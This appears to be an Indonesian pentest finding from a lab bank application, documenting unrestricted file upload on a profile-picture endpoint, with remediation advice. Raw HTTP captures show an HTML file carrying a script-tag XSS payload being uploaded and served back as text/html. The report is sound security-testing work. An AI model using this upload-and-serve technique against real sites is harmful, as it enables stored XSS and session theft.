Skenario 19 / 26FAIL

Unrestricted File Upload - Profile Picture - File Type Validation

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Unrestricted File Upload - Profile Picture - File Type Validation

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Unrestricted File Upload - Profile Picture - File Type Validation

Deskripsi

Endpoint /upload_profile_picture menyimpan berkas apa pun tanpa memvalidasi ekstensi, content-type, maupun magic bytes, dan tanpa batas ukuran. Berkas disimpan di static/uploads yang disajikan langsung oleh server, dan Flask menetapkan Content-Type berdasarkan ekstensi berkas.

Dampak

Confidentiality + Integrity (High): penyerang dapat mengunggah dokumen HTML berisi JavaScript dan mengaksesnya pada origin aplikasi dengan Content-Type text/html, sehingga skrip dieksekusi sebagai bagian dari situs. Ini memberi penyerang XSS tersimpan pada origin aplikasi, yang dapat dipakai mencuri token sesi korban yang membuka tautan tersebut, sekaligus menjadikan domain bank sebagai inang halaman phishing.

CWE

CWE-434: Unrestricted Upload of File with Dangerous Type

OWASP

A04:2021 - Insecure Design

Skenario

Normal: berkas gambar PNG diunggah sebagai foto profil -> wajar dan diterima. Eksploitasi: berkas payload.html berisi tag script diunggah melalui endpoint yang sama -> diterima tanpa penolakan. Dampak: berkas diakses kembali melalui HTTP dan disajikan dengan Content-Type text/html berisi skrip utuh, sehingga dieksekusi di origin aplikasi.

Endpoint

POST http://127.0.0.1:5001/upload_profile_picture

Fitur terdampak

Unggah foto profil

Rekomendasi perbaikan

- Terapkan allow-list ekstensi dan verifikasi magic bytes; tolak apa pun selain format gambar yang diizinkan, dan lakukan re-encode gambar. - Simpan berkas unggahan di luar web root dan sajikan melalui handler yang menetapkan Content-Type aman serta Content-Disposition attachment. - Sajikan konten pengguna dari domain terpisah tanpa cookie sesi. - Terapkan batas ukuran berkas dan beri nama acak sepenuhnya.

Bukti konsep

1) (Screenshot 1) NORMAL: unggah berkas gambar PNG sebagai foto profil -> diterima. 2) (Screenshot 2) EKSPLOITASI: unggah payload.html berisi tag script melalui endpoint yang sama -> diterima tanpa validasi tipe. 3) (Screenshot 3) DAMPAK CIA: berkas diakses via HTTP -> disajikan dengan Content-Type text/html berisi skrip utuh, dieksekusi pada origin aplikasi.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Unrestricted File Upload - Profile Picture - File Type Validation

Description:
Endpoint /upload_profile_picture menyimpan berkas apa pun tanpa memvalidasi ekstensi, content-type, maupun magic bytes, dan tanpa batas ukuran. Berkas disimpan di static/uploads yang disajikan langsung oleh server, dan Flask menetapkan Content-Type berdasarkan ekstensi berkas.

Impact:
Confidentiality + Integrity (High): penyerang dapat mengunggah dokumen HTML berisi JavaScript dan mengaksesnya pada origin aplikasi dengan Content-Type text/html, sehingga skrip dieksekusi sebagai bagian dari situs. Ini memberi penyerang XSS tersimpan pada origin aplikasi, yang dapat dipakai mencuri token sesi korban yang membuka tautan tersebut, sekaligus menjadikan domain bank sebagai inang halaman phishing.

CWE:
CWE-434: Unrestricted Upload of File with Dangerous Type

OWASP:
A04:2021 - Insecure Design

Scenario:
Normal: berkas gambar PNG diunggah sebagai foto profil -> wajar dan diterima. Eksploitasi: berkas payload.html berisi tag script diunggah melalui endpoint yang sama -> diterima tanpa penolakan. Dampak: berkas diakses kembali melalui HTTP dan disajikan dengan Content-Type text/html berisi skrip utuh, sehingga dieksekusi di origin aplikasi.

Endpoint:
POST http://127.0.0.1:5001/upload_profile_picture

Affected Feature:
Unggah foto profil

Remediation:
- Terapkan allow-list ekstensi dan verifikasi magic bytes; tolak apa pun selain format gambar yang diizinkan, dan lakukan re-encode gambar.
- Simpan berkas unggahan di luar web root dan sajikan melalui handler yang menetapkan Content-Type aman serta Content-Disposition attachment.
- Sajikan konten pengguna dari domain terpisah tanpa cookie sesi.
- Terapkan batas ukuran berkas dan beri nama acak sepenuhnya.

POC:
1) (Screenshot 1) NORMAL: unggah berkas gambar PNG sebagai foto profil -> diterima.
2) (Screenshot 2) EKSPLOITASI: unggah payload.html berisi tag script melalui endpoint yang sama -> diterima tanpa validasi tipe.
3) (Screenshot 3) DAMPAK CIA: berkas diakses via HTTP -> disajikan dengan Content-Type text/html berisi skrip utuh, dieksekusi pada origin aplikasi.

02 — Tangkapan layar

Tangkapan layar (3)

01 / 1
02 / 2
03 / 3

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
POST /upload_profile_picture HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 222
Content-Type: multipart/form-data; boundary=6e1c16ecc8818d6543fc29ca3d550dce

--6e1c16ecc8818d6543fc29ca3d550dce
Content-Disposition: form-data; name="profile_picture"; filename="avatar.png"
Content-Type: image/png

�PNG
\x1a
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
--6e1c16ecc8818d6543fc29ca3d550dce--
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 133
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:23 GMT

{
  "file_path": "static/uploads/601907_avatar.png",
  "message": "Profile picture uploaded successfully",
  "status": "success"
}
REKAMAN 02 / 2
HTTP request
POST /upload_profile_picture HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 223
Content-Type: multipart/form-data; boundary=4ac606e2c5cac9f777611c0fbd6e295f

--4ac606e2c5cac9f777611c0fbd6e295f
Content-Disposition: form-data; name="profile_picture"; filename="payload.html"
Content-Type: text/html

<script>alert(document.domain)</script>
--4ac606e2c5cac9f777611c0fbd6e295f--
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 135
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:24 GMT

{
  "file_path": "static/uploads/966073_payload.html",
  "message": "Profile picture uploaded successfully",
  "status": "success"
}
REKAMAN 03 / 3
HTTP request
GET /static/uploads/966073_payload.html HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Disposition: inline; filename=966073_payload.html
Content-Type: text/html; charset=utf-8
Content-Length: 39
Last-Modified: Wed, 30 Sep 2026 03:02:24 GMT
Cache-Control: no-cache
Date: Wed, 30 Sep 2026 03:02:25 GMT
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25

<script>alert(document.domain)</script>